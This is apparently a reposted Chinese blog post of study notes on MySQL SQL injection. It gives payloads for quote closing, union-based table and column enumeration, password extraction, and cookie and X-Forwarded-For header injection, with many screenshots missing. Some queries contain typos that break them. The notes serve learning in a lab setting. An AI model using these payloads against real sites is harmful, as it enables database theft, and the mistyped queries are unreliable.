SQL注入之MySQL注入学习笔记(二)

补充:MySQL注释方法

MySQL注入

基本介绍

字符型

有这几种常见情况,闭合SQL语句,再插入我们需要的sql语句

$sql="SELECT * FROM users WHERE id= '$id'";
闭合前面的单引号把后面的单引号注释掉跟上sql语句
$sql="SELECT * FROM users WHERE id=(('$id' ))
闭合单引号,闭合两个括号把后面的都注释掉跟上sql语句
$sql="SELECT * FROM users WHERE id=('$id')";
闭合单引号,闭合括号把后面的都注释掉跟上sql语句
$id ='"'.$id.'"'
$sql = "SELECT * FROM users WHERE id = $id";
闭合前面的双引号再注释后面的双引号
$id = '("'.$id.'")';
$sql = "SELECT * FROM users WHERE id = $id";

数字型

字符型和数字型的区别在于接受的参数id的类型和数据库中id的字段类型
其实和字符型的注入方式是一样的,不必过度纠结于两者具体的区别

$sql="SELECT * FROM users WHERE id=$id";

搜索型

就是post型的提交方式
在这里插入图片描述

Cookie注入

在这里插入图片描述

HTTP头注入

X-Forwarded-For
X-Forwarded-For是HTTP头的一个字段。它被认为是客户端通过HTTP代理或者负载均衡器连接到web服务端获取源ip地址的一个标准。类似的还有如下几种
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
Client-IP: 127.0.0.1
User-agent
用户代理(user agent)是记录软件程序的客户端信息的HTTP头字段,他可以用来统计目标和违规协议。在HTTP头中应该包含它,这个字段的第一个空格前面是软件的产品名称,后面有一个可选的斜杠和版本号。并不是所有的应用程序都会被获取到user-agent信息,但是有些应用程序利用它存储一些信息(如:购物车)。在这种情况下,我们就有必要研究下user-agent头存在的问题了。
Referer
Referer是另外一个当应用程序没有过滤存储到数据库时,容易发生SQL注入的HTTP头。它是一个允许客户端指定的可选头部字段,通过它我们可以获取到提交请求URI的服务器情况。
在这里插入图片描述

具体实例

数字型注入

一般类型

因为不知道接收的id是1或者是"1"的形式我们先当成数字型注入
如何判断:'url?id=1+1’如果成功返回数据则为数字型注入+=%2b
在这里插入图片描述
首先查字段
url?id = 1 order by 3 不报错
url?id = 1 order by 4 报错
所以有三个字段
接下来使用联合查询:url?id = 1 union select 1,2,3
在这里插入图片描述
查当前数据库名,版本,用户
url?id = 1 union select database(),version(),user()
在这里插入图片描述
查询有什么表
url?id = 1 union select 1,2,table_name from infomation_schema.tables where table_schema = database()
在这里插入图片描述
查询列名:
url?id = 1 union select 1,2,column_name from infomation_schema.columns where table_table = 'users'
在这里插入图片描述
查询数据:
url?id = 1 union select id,username,password from users
在这里插入图片描述

被单引号包裹起来的

在这里插入图片描述
在这里插入图片描述
在之后我们拼接and 1=1 and 1= 2,发现没有报错
在这里插入图片描述
之后加上id = 1'单引号后报错,不正常说明sql语句可控
在Mysql中--+代表注释此时id = 1'--+成功执行
在这里插入图片描述
之后插上id = 1 and 1=2'-- +不正常,即可食用之后类似上面一般类型

双引号加小括号包裹

在这里插入图片描述
首先查看id = 1
在这里插入图片描述
类似上面?id = 1') and 1 = 2-- +发现1=1和1=2成功执行

两个括号

在这里插入图片描述
在这里插入图片描述
采用? id = 1')) union select 1,2,3 -- +

字符型注入

如果在url后拼接?id=1 and 1=1orand 1=2分别正确错误则说明为字符型注入
注入方式和数字型类似

搜索型注入

在这里插入图片描述
%代表%前面可以有字符后面也可以有
配合HackBar食用
在这里插入图片描述
post数据name = a' union select 1,2,3 -- +

Cookie注入

在这里插入图片描述
配合Burp使用
在这里插入图片描述
改为Cookie: uid = 1 union select 1,2,3

HTTP头注入

在这里插入图片描述
在这里插入图片描述

配合Burp食用
在这里插入图片描述
添加XFF头
在这里插入图片描述
完美成功!!!
127.0.0.1' order by 4-- +成功,配合联合查询即可!!!
在这里插入图片描述
看图
为啥

猜你喜欢

转载自blog.csdn.net/solitudi/article/details/106824456
今日推荐